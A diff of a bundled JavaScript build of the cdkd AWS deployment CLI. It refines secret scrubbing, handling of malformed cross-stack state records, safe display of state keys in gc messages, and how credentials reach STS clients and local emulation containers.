+* `count` gates the exit code, `warn` only speaks, `silent` does neither — so
+* folding to the most severe is what stops a gateable finding hiding behind an
+* ungateable one recorded before it. That is not a hypothetical ordering
+* concern: `isTemplateShapeResolutionFailure` fires EN MASSE on healthy stacks
+* (one `Default`-less parameter makes every `{Ref: <param>}` throw), so a
+* `warn` at index 0 is the common case, and the per-unit recovery exists
+* precisely to keep walking past it to the reference that matters.
+*/
+function foldAbandonedUnitVerdict(entries) {
+	const RANK = {
+		silent: 0,
+		warn: 1,
+		count: 2
+	};
+	let worst = "silent";
+	for (const entry of entries) {
+		const verdict = abandonedUnitVerdict(entry);
+		if (RANK[verdict] > RANK[worst]) worst = verdict;
+	}
+	return worst;
 }
 /**
 * `err` is cdkd's OWN refusal to resolve a template SHAPE — a `Ref`, an
@@ -69548,6 +69239,35 @@ function makeCrossStackPrePass(deps) {
 	* user-fixable — i.e. refuses the whole stack over something no user can fix.
 	*/
 	const isByDesignRefusal = (err) => err instanceof Error && errorCauseChain(err).some((link) => link instanceof CrossAccountSecretRefusalError);
+	/**
+	* Is this a refusal over ANOTHER STACK's damaged record (issue
+	* go-to-k/cdkd#3207)?
+	*
+	* A SECOND predicate rather than a widening of {@link isByDesignRefusal},
+	* because the two classify the same `err` into DIFFERENT sentences and
+	* different exit-code lists, and only one of them can honestly say "no
+	* re-run can change it".
+	*
+	* Why this arm has to exist at all. Before go-to-k/cdkd#3207 the deploy-side
+	* resolver RESOLVED an `Fn::GetStackOutput` against a non-object producer
+	* bag — `Object.hasOwn('abcdef', '0')` is `true` — so a damaged producer
+	* reached {@link storedProducerValue}, whose own guard records the finding
+	* this arm now records. Closing the resolver is correct (that value is
+	* APPLIED to a live system by a deploy) but it moves the refusal UP: without
+	* this branch the read lands on `unresolvableCrossStackReadError` below and
+	* refuses the whole stack, so a consumer's own plaintext would stay in
+	* `state.json` over a producer record its owner may not be able to repair —
+	* exactly the trade `docs/design/3192-outputs-consumers.md` §6 decided
+	* against, silently reversed by the fix one layer up.
+	*
+	* SAME two lists as the classifier's arm, deliberately: `unverifiable` gates
+	* the clean verdict, and `damagedProducerRecords` carries the UNCONDITIONAL
+	* exit 2 that shape had before either guard existed.
+	*
+	* CAUSE CHAIN, not a bare `instanceof`, for the reason
+	* {@link isByDesignRefusal}'s note gives — `resolver.resolve` wraps.
+	*/
+	const isMalformedProducerRefusal = (err) => err instanceof Error && errorCauseChain(err).some((link) => link instanceof MalformedProducerRecordRefusalError);
 	return async function resolveCrossStackReads(bag, context, origin, opts) {
 		const canRefuse = opts?.canRefuse ?? true;
 		const secrets = context.recordedSecretValues ?? /* @__PURE__ */ new Map();
@@ -69641,7 +69361,7 @@ function makeCrossStackPrePass(deps) {
 					logger.debug(`Scrub of ${stackName}: producer '${maskSecretsInText(producer.stack, secrets)}' (${producer.region}) has no readable 'outputs' map, and this position cannot refuse.`);
 					return;
 				}
-				const seenKey = `${producer.stack}\u0000${producer.region}`;
+				const seenKey = producerRecordKey(producer.stack, producer.region);
 				if (!warnedDamagedProducers.has(seenKey)) {
 					warnedDamagedProducers.add(seenKey);
 					const detail = `the stored value of producer '${maskSecretsInText(producer.stack, secrets)}' (${producer.region}), whose 'outputs' map cannot be read`;
@@ -69675,6 +69395,13 @@ function makeCrossStackPrePass(deps) {
 					logger.warn(`Scrub of ${stackName} cannot verify ${detail} — cdkd declines this read by design, so no re-run can change it. The rest of the stack is still scrubbed; this stack is NOT reported clean.`);
 					return;
 				}
+				if (isMalformedProducerRefusal(err)) {
+					const detail = `${where}: ${maskSecretsInText(err instanceof Error ? err.message : String(err), secrets)}`;
+					findings.unverifiable.push(detail);
+					findings.damagedProducerRecords.push(detail);
+					logger.warn(`Scrub of ${stackName} cannot verify ${detail} — the PRODUCER's state record is malformed or truncated, so this run cannot tell whether that producer still holds the plaintext. The rest of the stack is still scrubbed; this stack is NOT reported clean. Repair the producer's record and scrub it first, then re-run.`);
+					return;
+				}
 				throw unresolvableCrossStackReadError(origin, stackName, key, path, err, secrets);
 			}
 			const producer = recordedProducer(key, probe);
@@ -69787,6 +69514,32 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
 	let unverifiableLeaves = 0;
 	let ungateableAbandonedScans = 0;
 	/**
+	* Report ONE bag of abandoned units: fold to the most severe verdict, count
+	* it, warn once, then debug one line per entry.
+	*
+	* ONE helper shared by all THREE opted-in passes (resource properties,
+	* orphan records, output values). They began as three hand-inlined copies of
+	* the same eight lines, which is the shape that drifts: a round-3 review
+	* measured that removing BOTH the orphan and output opt-ins reddened zero of
+	* 4,180 tests, so nothing would have caught two of the three copies diverging
+	* either. The passes differ only in the subject string and which needle map
+	* their lines mask through, so both are parameters.
+	*
+	* Renders `entry.message`, never `entry.error`: the interface documents
+	* `error` as classification-only, and `message` carries a twin-derived
+	* redaction the needle mask alone cannot reproduce for a sub-floor plaintext.
+	*/
+	const reportAbandonedBag = (entries, subject, secrets, debugSubject) => {
+		if (entries.length === 0) return;
+		const worst = foldAbandonedUnitVerdict(entries);
+		if (worst !== "silent") {
+			if (worst === "count") unverifiableLeaves++;
+			else ungateableAbandonedScans++;
+			logger.warn(maskSecretsInText(abandonedScanWarning(subject, worst), secrets));
+		}
+		for (const entry of entries) logger.debug(maskSecretsInText(`Resolution of ${debugSubject} during scrub was partial: ${entry.message} (abandoned one ${entry.unit})`, secrets));
+	};
+	/**
 	* ONE note per stack per arm. The per-record lines are deliberately short
 	* (see `abandonedScanWarning`), so this is where the explanation lives, and
 	* emitting it after the loops rather than at the first occurrence is what
@@ -69896,18 +69649,24 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
 				const bagKeys = resolveInput !== null && typeof resolveInput === "object" && !Array.isArray(resolveInput) ? Object.keys(resolveInput) : void 0;
 				const intrinsicShapedBag = bagKeys?.some((k) => RESOLVER_DISPATCH_KEYS.has(k)) ?? false;
 				const resolveUnits = bagKeys && !intrinsicShapedBag ? Object.entries(resolveInput) : [["", resolveInput]];
-				for (const [propertyName, propertyValue] of resolveUnits) try {
-					await resolver.resolve(propertyValue, resourceContext);
-				} catch (err) {
-					if (isRegionAmbiguousRefusal(err) || isNamelessDynamicReferenceFailure(err)) throw err;
-					const leafVerdict = abandonedScanVerdict(propertyValue, err);
-					if (leafVerdict !== "silent") {
-						if (leafVerdict === "count") unverifiableLeaves++;
-						else ungateableAbandonedScans++;
-						const subject = propertyName ? `resource '${displaySafe(logicalId)}' property '${displaySafe(propertyName)}'` : `resource '${displaySafe(logicalId)}'`;
-						logger.warn(maskSecretsInText(abandonedScanWarning(subject, leafVerdict), recordedSecretValues));
+				for (const [propertyName, propertyValue] of resolveUnits) {
+					const abandoned = [];
+					try {
+						await resolver.resolve(propertyValue, {
+							...resourceContext,
+							abandonedResolutions: abandoned
+						});
+						reportAbandonedBag(abandoned, propertyName ? `resource '${displaySafe(logicalId)}' property '${displaySafe(propertyName)}'` : `resource '${displaySafe(logicalId)}'`, recordedSecretValues, `${displaySafe(logicalId)}${propertyName ? `.${displaySafe(propertyName)}` : ""}`);
+					} catch (err) {
+						if (isRegionAmbiguousRefusal(err) || isNamelessDynamicReferenceFailure(err)) throw err;
+						const leafVerdict = abandonedScanVerdict(propertyValue, err);
+						if (leafVerdict !== "silent") {
+							if (leafVerdict === "count") unverifiableLeaves++;
+							else ungateableAbandonedScans++;
+							logger.warn(maskSecretsInText(abandonedScanWarning(propertyName ? `resource '${displaySafe(logicalId)}' property '${displaySafe(propertyName)}'` : `resource '${displaySafe(logicalId)}'`, leafVerdict), recordedSecretValues));
+						}
+						logger.debug(maskSecretsInText(`Resolution of ${displaySafe(logicalId)}${propertyName ? `.${displaySafe(propertyName)}` : ""} during scrub was partial: ${err instanceof Error ? err.message : String(err)}`, recordedSecretValues));
 					}
-					logger.debug(maskSecretsInText(`Resolution of ${displaySafe(logicalId)}${propertyName ? `.${displaySafe(propertyName)}` : ""} during scrub was partial: ${err instanceof Error ? err.message : String(err)}`, recordedSecretValues));
 				}
 				perResourceTemplateProps.set(logicalId, templateResource.Properties);
 			}
@@ -69926,17 +69685,24 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
 					origin: `orphan record '${record.logicalId}'`
 				});
 				const orphanContext = resolverContext(recordedSecretValues);
-				for (const [bagName, bagValue] of Object.entries(resolveInput)) try {
-					await resolver.resolve(bagValue, orphanContext);
-				} catch (err) {
-					if (isRegionAmbiguousRefusal(err) || isNamelessDynamicReferenceFailure(err)) throw err;
-					const leafVerdict = abandonedScanVerdict(bagValue, err);
-					if (leafVerdict !== "silent") {
-						if (leafVerdict === "count") unverifiableLeaves++;
-						else ungateableAbandonedScans++;
-						logger.warn(maskSecretsInText(abandonedScanWarning(`orphan record '${displaySafe(record.logicalId)}' ${bagName}`, leafVerdict), recordedSecretValues));
+				for (const [bagName, bagValue] of Object.entries(resolveInput)) {
+					const abandoned = [];
+					try {
+						await resolver.resolve(bagValue, {
+							...orphanContext,
+							abandonedResolutions: abandoned
+						});
+						reportAbandonedBag(abandoned, `orphan record '${displaySafe(record.logicalId)}' ${bagName}`, recordedSecretValues, `orphan record ${displaySafe(record.logicalId)} ${bagName}`);
+					} catch (err) {
+						if (isRegionAmbiguousRefusal(err) || isNamelessDynamicReferenceFailure(err)) throw err;
+						const leafVerdict = abandonedScanVerdict(bagValue, err);
+						if (leafVerdict !== "silent") {
+							if (leafVerdict === "count") unverifiableLeaves++;
+							else ungateableAbandonedScans++;
+							logger.warn(maskSecretsInText(abandonedScanWarning(`orphan record '${displaySafe(record.logicalId)}' ${bagName}`, leafVerdict), recordedSecretValues));
+						}
+						logger.debug(maskSecretsInText(`Resolution of orphan record ${displaySafe(record.logicalId)} ${bagName} during scrub was partial: ${err instanceof Error ? err.message : String(err)}`, recordedSecretValues));
 					}
-					logger.debug(maskSecretsInText(`Resolution of orphan record ${displaySafe(record.logicalId)} ${bagName} during scrub was partial: ${err instanceof Error ? err.message : String(err)}`, recordedSecretValues));
 				}
 			}
 			for (const [name, output] of Object.entries(templateOutputs)) {
@@ -69999,8 +69765,13 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
 				});
 				const valueContext = resolverContext(outputSecrets);
 				await resolveCrossStackReads(valueSource, valueContext, `output '${name}'`, { canRefuse: !isOutputSuppressed(name, output, conditions, state.outputs ?? {}) });
+				const abandonedOutput = [];
 				try {
-					await resolver.resolve(valueSource, valueContext);
+					await resolver.resolve(valueSource, {
+						...valueContext,
+						abandonedResolutions: abandonedOutput
+					});
+					reportAbandonedBag(abandonedOutput, `output '${displaySafe(name)}'`, outputSecrets, `output ${displaySafe(name)}`);
 				} catch (err) {
 					if (isRegionAmbiguousRefusal(err) || isNamelessDynamicReferenceFailure(err)) throw err;
 					const leafVerdict = abandonedScanVerdict(valueSource, err);
@@ -82219,17 +81990,17 @@ async function scanReferencedAssets(stateBackend, marker, logger) {
 	for (const key of stateKeys) {
 		const body = await stateBackend.getRawObject(key);
 		if (body === null) {
-			logger.debug(`State file ${key} disappeared during the scan — skipping`);
+			logger.debug(`State file ${displayIdent(key, { maxCodePoints: STATE_KEY_MAX_CODE_POINTS })} disappeared during the scan — skipping`);
 			continue;
 		}
 		let parsed;
 		try {
 			parsed = JSON.parse(body);
 		} catch (error) {
-			const described = describeStateKey(key, STATE_FILE_SUFFIX, DEFAULT_STATE_PREFIX);
-			const regionMatch = /^(\S+) \((\S+)\)$/.exec(described);
-			const inspectHint = regionMatch ? `cdkd state show ${regionMatch[1]} --stack-region ${regionMatch[2]}` : `cdkd state show ${described}`;
-			throw new CdkdError(`State file '${key}' is not valid JSON — aborting: gc must know every referenced asset before deleting anything, and this file's references are unreadable. Repair or remove the corrupt state file ('${inspectHint}' to inspect), then re-run.`, "GC_STATE_UNREADABLE", error);
+			const { stack, region } = parseStateKey(key, STATE_FILE_SUFFIX, DEFAULT_STATE_PREFIX);
+			const inspectHint = isPasteableIdent(stack) && (region === void 0 || isPasteableIdent(region)) ? region === void 0 ? `cdkd state show ${stack}` : `cdkd state show ${stack} --stack-region ${region}` : void 0;
+			const inspect = inspectHint === void 0 ? "its stack name is not safe to paste into a command, so inspect the object at that key directly" : `'${inspectHint}' to inspect`;
+			throw new CdkdError(`State file ${displayIdent(key, { maxCodePoints: STATE_KEY_MAX_CODE_POINTS })} is not valid JSON — aborting: gc must know every referenced asset before deleting anything, and this file's references are unreadable. Repair or remove the corrupt state file (${inspect}), then re-run.`, "GC_STATE_UNREADABLE", error);
 		}
 		collectAssetReferences(parsed, marker, refs);
 	}
@@ -82373,11 +82144,11 @@ async function listResponsePlaceholderCandidates(stateBackend, cutoffMs, logger)
 	for (const obj of objects) {
 		const leaf = obj.key.slice(`${CUSTOM_RESOURCE_RESPONSE_PREFIX}/`.length);
 		if (!RESPONSE_PLACEHOLDER_KEY.test(leaf)) {
-			logger.debug(`gc: keeping ${obj.key} — not a cdkd response placeholder`);
+			logger.debug(`gc: keeping ${displayIdent(obj.key, { maxCodePoints: STATE_KEY_MAX_CODE_POINTS })} — not a cdkd response placeholder`);
 			continue;
 		}
 		if (obj.lastModified.getTime() >= cutoffMs) {
-			logger.debug(`gc: keeping ${obj.key} — newer than the --older-than cutoff`);
+			logger.debug(`gc: keeping ${displayIdent(obj.key, { maxCodePoints: STATE_KEY_MAX_CODE_POINTS })} — newer than the --older-than cutoff`);
 			continue;
 		}
 		candidates.push(obj);
@@ -82578,7 +82349,7 @@ async function gcCommand(options) {
 		}
 		const lockKeys = await listAllLockKeys(stateBackend);
 		if (lockKeys.length > 0) {
-			const listing = lockKeys.map((k) => `  - ${describeStateKey(k, LOCK_FILE_SUFFIX, DEFAULT_STATE_PREFIX)}  [${k}]`).join("\n");
+			const listing = lockKeys.map((k) => `  - ${describeStateKey(k, LOCK_FILE_SUFFIX, DEFAULT_STATE_PREFIX)}  [${displayIdent(k, { maxCodePoints: STATE_KEY_MAX_CODE_POINTS })}]`).join("\n");
 			throw new CdkdError(`Refusing to gc while ${lockKeys.length} stack(s) hold an active lock (a deploy in flight may have published assets whose state write has not landed yet):\n${listing}\nWait for the operation(s) to finish — or clear a stale lock with 'cdkd force-unlock <stack>' — then re-run 'cdkd gc'.`, "GC_LOCKED");
 		}
 		const cutoffMs = Date.now() - options.olderThan;
@@ -85433,6 +85204,29 @@ async function loadBootstrapContainerRepo(synthRegion, opts) {
 async function buildCrossStackResolver(consumerRegion, opts) {
 	const logger = getLogger();
 	const prefix = opts.logPrefix ?? "--from-state";
+	/**
+	* Producer records already named by the malformed-outputs warning below
+	* (issue go-to-k/cdkd#3207), keyed `stack@region`.
+	*
+	* ONCE PER PRODUCER RECORD, not per reference, which is the shape
+	* `scrub.ts`'s equivalent arm already deduped ("ONCE PER PRODUCER RECORD,
+	* not per reference") and this reader did not adopt: one `cdkd local` env
+	* block routinely carries several `Fn::GetStackOutput` entries against the
+	* SAME producer, and the warning is a paragraph. Repeating it per entry
+	* buries the other diagnostics the run emits, and it reads as several
+	* damaged records rather than one.
+	*
+	* Keyed by RECORD and not by stack, because `resolveGetStackOutput` tries
+	* the exact region spelling and then folds across others: those are
+	* DISTINCT state records that can be damaged independently, so each still
+	* deserves its own line.
+	*
+	* The CALLER may supply one, which is what lets a boot that builds several
+	* resolvers dedup across all of them (issue go-to-k/cdkd#3293). Falling back
+	* to a fresh Set keeps every existing caller unchanged: the closure is then
+	* the only scope that outlives a single reference, which is what it was.
+	*/
+	const warnedMalformedProducers = opts.warnedMalformedProducers ?? /* @__PURE__ */ new Set();
 	let stateBucket;
 	try {
 		stateBucket = await resolveStateBucketWithDefault(opts.stateBucket, canonicalizeRegion(consumerRegion));
@@ -85502,17 +85296,27 @@ async function buildCrossStackResolver(consumerRegion, opts) {
 				}
 			},
 			async resolveGetStackOutput(producerStack, producerRegion, outputName) {
-				const readOutput = (got) => {
-					if (!got || !got.state.outputs) return void 0;
-					if (!(outputName in got.state.outputs)) return void 0;
-					const value = got.state.outputs[outputName];
+				const readOutput = (got, recordRegion) => {
+					if (!got) return void 0;
+					if (!hasReadableOutputs(got.state)) {
+						const recordKey = producerRecordKey(producerStack, recordRegion);
+						if (!warnedMalformedProducers.has(recordKey)) {
+							warnedMalformedProducers.add(recordKey);
+							logger.warn(`${prefix}: ${malformedLocalOutputsWarning(producerStack, recordRegion)}`);
+						}
+						return;
+					}
+					const outputs = got.state.outputs;
+					if (!outputs) return void 0;
+					if (!Object.hasOwn(outputs, outputName)) return void 0;
+					const value = outputs[outputName];
 					if (typeof value === "string") return value;
 					if (typeof value === "number" || typeof value === "boolean") return String(value);
 					return JSON.stringify(value);
 				};
 				try {
 					const got = await stateBackend.getState(producerStack, producerRegion);
-					if (got) return readOutput(got);
+					if (got) return readOutput(got, producerRegion);
 					const canonicalProducerRegion = canonicalizeRegion(producerRegion);
 					const refs = await stateBackend.listStacks();
 					for (const ref of refs) {
@@ -85520,7 +85324,7 @@ async function buildCrossStackResolver(consumerRegion, opts) {
 						const region = ref.region ?? producerRegion;
 						if (region === producerRegion) continue;
 						if (canonicalizeRegion(region) !== canonicalProducerRegion) continue;
-						const recovered = readOutput(await stateBackend.getState(producerStack, region));
+						const recovered = readOutput(await stateBackend.getState(producerStack, region), region);
 						if (recovered !== void 0) {
 							logger.debug(`${prefix}: Fn::GetStackOutput '${producerStack}.${outputName}' resolved from the case-variant state record '${region}' (no record spells '${producerRegion}' exactly).`);
 							return recovered;
@@ -85559,6 +85363,16 @@ var S3LocalStateProvider = class {
 	label = "--from-state";
 	opts;
 	disposers = [];
+	/**
+	* Producer records the malformed-outputs warning has already named, shared by
+	* every resolver this provider builds (issue
+	* [#3293](https://github.com/go-to-k/cdkd/issues/3293)).
+	*
+	* Lives here rather than in each resolver's closure because this object is
+	* the one thing that spans a whole `cdkd local` run — see the note at the
+	* `buildCrossStackResolver` call for why that is the honest scope.
+	*/
+	warnedMalformedProducers = /* @__PURE__ */ new Set();
 	constructor(opts) {
 		this.opts = opts;
 	}
@@ -85573,6 +85387,7 @@ var S3LocalStateProvider = class {
 		};
 		const loaded = await loadStateForStack(stackName, synthRegion, loadOpts);
 		if (!loaded) return void 0;
+		if (repairMalformedOutputsForReadOnly(loaded.state)) getLogger().warn(malformedLocalOutputsWarning(stackName, loaded.region));
 		const outputs = {};
 		for (const [k, v] of Object.entries(loaded.state.outputs ?? {})) if (typeof v === "string") outputs[k] = v;
 		else if (typeof v === "number" || typeof v === "boolean") outputs[k] = String(v);
@@ -85588,7 +85403,8 @@ var S3LocalStateProvider = class {
 			statePrefix: this.opts.statePrefix,
 			...this.opts.stateBucket !== void 0 && { stateBucket: this.opts.stateBucket },
 			...this.opts.region !== void 0 && { region: this.opts.region },
-			...this.opts.profile !== void 0 && { profile: this.opts.profile }
+			...this.opts.profile !== void 0 && { profile: this.opts.profile },
+			warnedMalformedProducers: this.warnedMalformedProducers
 		};
 		const built = await buildCrossStackResolver(consumerRegion, buildOpts);
 		if (!built) return void 0;
@@ -90116,6 +89932,9 @@ function readEnvOverridesFile$3(filePath) {
 * Forward the developer's AWS credentials into the container so the
 * handler's AWS SDK calls can authenticate. Used when --assume-role is
 * NOT set for that Lambda — SAM-compatible default.
+*
+* Exported for unit-test isolation (`local-container-caller-identity.test.ts`),
+* which drives the `--role-arn` cases without booting the API server.
 */
 function forwardAwsEnv$2(env) {
 	for (const key of [
@@ -90128,6 +89947,7 @@ function forwardAwsEnv$2(env) {
 		const value = process.env[key];
 		if (value !== void 0) env[key] = value;
 	}
+	applyCallerIdentityCredentials(env);
 }
 /**
 * Issue #654: resolve `--profile <p>` to a concrete credential set
@@ -90164,7 +89984,10 @@ function forwardAwsEnv$2(env) {
 async function resolveProfileCredentials(profile) {
 	const { STSClient } = await import("@aws-sdk/client-sts");
 	const sts = new STSClient({
-		...awsClientDefaults({ profile }),
+		...awsClientDefaults({
+			profile,
+			ignoreAssumedRole: true
+		}),
 		profile
 	});
 	try {
@@ -90188,7 +90011,7 @@ async function resolveProfileCredentials(profile) {
 async function assumeLambdaExecutionRole$1(roleArn, region) {
 	const { STSClient, AssumeRoleCommand } = await import("@aws-sdk/client-sts");
 	const sts = new STSClient({
-		...awsClientDefaults(),
+		...awsClientDefaults({ ignoreAssumedRole: true }),
 		...region && { region }
 	});
 	try {
@@ -90470,7 +90293,7 @@ async function resolvePseudoParametersForStartApi(stateRegion, options) {
 	try {
 		const { STSClient, GetCallerIdentityCommand } = await import("@aws-sdk/client-sts");
 		const sts = new STSClient({
-			...awsClientDefaults(),
+			...awsClientDefaults({ ignoreAssumedRole: true }),
 			...region && { region }
 		});
 		try {
@@ -90747,11 +90570,11 @@ async function resolveEcsSecrets(entries, options = {}) {
 	if (entries.length === 0) return [];
 	const logger = getLogger().child("ecs-secrets");
 	const secretsClient = options.secretsManagerClient ?? new SecretsManagerClient({
-		...awsClientDefaults(),
+		...awsClientDefaults({ ignoreAssumedRole: true }),
 		...options.region && { region: options.region }
 	});
 	const ssmClient = options.ssmClient ?? new SSMClient({
-		...awsClientDefaults(),
+		...awsClientDefaults({ ignoreAssumedRole: true }),
 		...options.region && { region: options.region }
 	});
 	const ownsSecretsClient = options.secretsManagerClient === void 0;
@@ -91567,7 +91390,7 @@ async function resolvePlaceholderAccount(arn, region) {
 	if (!arn.includes("${AWS::AccountId}")) return arn;
 	const { STSClient, GetCallerIdentityCommand } = await import("@aws-sdk/client-sts");
 	const sts = new STSClient({
-		...awsClientDefaults(),
+		...awsClientDefaults({ ignoreAssumedRole: true }),
 		...region && { region }
 	});
 	try {
@@ -91585,7 +91408,7 @@ async function resolvePlaceholderAccount(arn, region) {
 async function assumeTaskRole(roleArn, region) {
 	const { STSClient, AssumeRoleCommand } = await import("@aws-sdk/client-sts");
 	const sts = new STSClient({
-		...awsClientDefaults(),
+		...awsClientDefaults({ ignoreAssumedRole: true }),
 		...region && { region }
 	});
 	try {
@@ -91727,7 +91550,7 @@ function pickCandidateStack(stackPattern, stacks) {
 async function resolveCallerAccountId$1(region) {
 	const { STSClient, GetCallerIdentityCommand } = await import("@aws-sdk/client-sts");
 	const sts = new STSClient({
-		...awsClientDefaults(),
+		...awsClientDefaults({ ignoreAssumedRole: true }),
 		...region && { region }
 	});
 	try {
@@ -92603,6 +92426,17 @@ async function buildSigV4HeadersIfRequested(options, resolved, loaded, host, por
 *
 * Throws a {@link CdkdError} when none are available — `--sigv4` cannot
 * proceed without credentials, unlike the unsigned path.
+*
+* EXPORTED as a test seam, like the pure helpers this file already exports. It
+* is the only `reads-caller` site the env-channel fence
+* (`tests/unit/local/local-surface-env-identity.test.ts`) knows about, and that
+* fence sees the SITE, not the BEHAVIOUR — it cannot tell
+* `callerEnvCredentials()` from a `process.env` read that happens to compile.
+* What this function decides is who the emulated agent sees as its INVOKER, so
+* the arm that matters is not reachable from any other entry point: the command
+* handler builds a container around it. Kept in ONE block with the precedence
+* contract above deliberately — as two, a reader or a tool taking only the
+* adjacent block gets the seam rationale and loses the precedence.
 */
 async function resolveHostCredentialsForSigV4(options, resolved, loaded, region) {
 	const logger = getLogger();
@@ -92620,16 +92454,12 @@ async function resolveHostCredentialsForSigV4(options, resolved, loaded, region)
 			...creds.sessionToken && { sessionToken: creds.sessionToken }
 		};
 	}
-	const accessKeyId = process.env["AWS_ACCESS_KEY_ID"];
-	const secretAccessKey = process.env["AWS_SECRET_ACCESS_KEY"];
-	if (accessKeyId && secretAccessKey) {
-		const sessionToken = process.env["AWS_SESSION_TOKEN"];
-		return {
-			accessKeyId,
-			secretAccessKey,
-			...sessionToken && { sessionToken }
-		};
-	}
+	const shellCredentials = callerEnvCredentials();
+	if (shellCredentials) return {
+		accessKeyId: shellCredentials.accessKeyId,
+		secretAccessKey: shellCredentials.secretAccessKey,
+		...shellCredentials.sessionToken && { sessionToken: shellCredentials.sessionToken }
+	};
 	throw new CdkdError("--sigv4: no AWS credentials available to sign the request. Set AWS_ACCESS_KEY_ID + AWS_SECRET_ACCESS_KEY, pass --profile <name>, or pass --assume-role <arn>.", "LOCAL_INVOKE_AGENTCORE_SIGV4_NO_CREDENTIALS");
 }
 /**
@@ -92887,7 +92717,10 @@ async function buildAgentCoreImageContext(candidate, stateProvider, options) {
 async function resolveCallerAccountId(region, profile) {
 	const { STSClient, GetCallerIdentityCommand } = await import("@aws-sdk/client-sts");
 	const sts = new STSClient({
-		...awsClientDefaults({ profile }),
+		...awsClientDefaults({
+			profile,
+			ignoreAssumedRole: true
+		}),
 		...region && { region },
 		...profile && { profile }
 	});
@@ -93062,6 +92895,9 @@ function platformToArchitecture(platform) {
 * open here after the same gap was closed in `local-invoke.ts` — made ONE command
 * yield two different container regions for the same shell: `cn-north-1` with
 * `--assume-role`, `CN-NORTH-1` without.
+*
+* Exported for unit-test isolation (`local-container-caller-identity.test.ts`),
+* which drives the `--role-arn` cases without the image + docker pipeline.
 */
 function forwardAwsEnv$1(env) {
 	const passThrough = [
@@ -93077,11 +92913,12 @@ function forwardAwsEnv$1(env) {
 		if (value === void 0) continue;
 		env[key] = regionKeys.has(key) ? canonicalizeRegion(value) : value;
 	}
+	applyCallerIdentityCredentials(env);
 }
 async function assumeAgentCoreExecutionRole(roleArn, region) {
 	const { STSClient, AssumeRoleCommand } = await import("@aws-sdk/client-sts");
 	const sts = new STSClient({
-		...awsClientDefaults(),
+		...awsClientDefaults({ ignoreAssumedRole: true }),
 		...region && { region }
 	});
 	try {
@@ -94054,7 +93891,7 @@ async function resolvePseudoParametersForInvoke(stackRegion, options) {
 	try {
 		const { STSClient, GetCallerIdentityCommand } = await import("@aws-sdk/client-sts");
 		const sts = new STSClient({
-			...awsClientDefaults(),
+			...awsClientDefaults({ ignoreAssumedRole: true }),
 			...region && { region }
 		});
 		try {
@@ -94200,7 +94037,7 @@ async function applyLambdaCredentialEnv(dockerEnv, args) {
 async function assumeLambdaExecutionRole(roleArn, region) {
 	const { STSClient, AssumeRoleCommand } = await import("@aws-sdk/client-sts");
 	const sts = new STSClient({
-		...awsClientDefaults(),
+		...awsClientDefaults({ ignoreAssumedRole: true }),
 		...region && { region }
 	});
 	try {
@@ -94236,6 +94073,9 @@ async function assumeLambdaExecutionRole(roleArn, region) {
 * COMMERCIAL partition). Folding only inside `applyLambdaCredentialEnv`'s
 * assume-role arm made ONE command yield two different container regions for the
 * same shell — `cn-north-1` with `--assume-role`, `CN-NORTH-1` without.
+*
+* Exported for unit-test isolation (`local-container-caller-identity.test.ts`),
+* which drives the `--role-arn` cases without the synth + docker pipeline.
 */
 function forwardAwsEnv(env) {
 	const passThrough = [
@@ -94251,6 +94091,7 @@ function forwardAwsEnv(env) {
 		if (value === void 0) continue;
 		env[key] = regionKeys.has(key) ? canonicalizeRegion(value) : value;
 	}
+	applyCallerIdentityCredentials(env);
 }
 /**
 * Issue #657: overlay `--profile <p>`-resolved credentials onto the
@@ -94488,4 +94329,4 @@ function buildProgram() {
 
 //#endregion
 export { buildProgram };
-//# sourceMappingURL=program-CbHndlOj.js.map
+//# sourceMappingURL=program-BOAEIjF5.js.map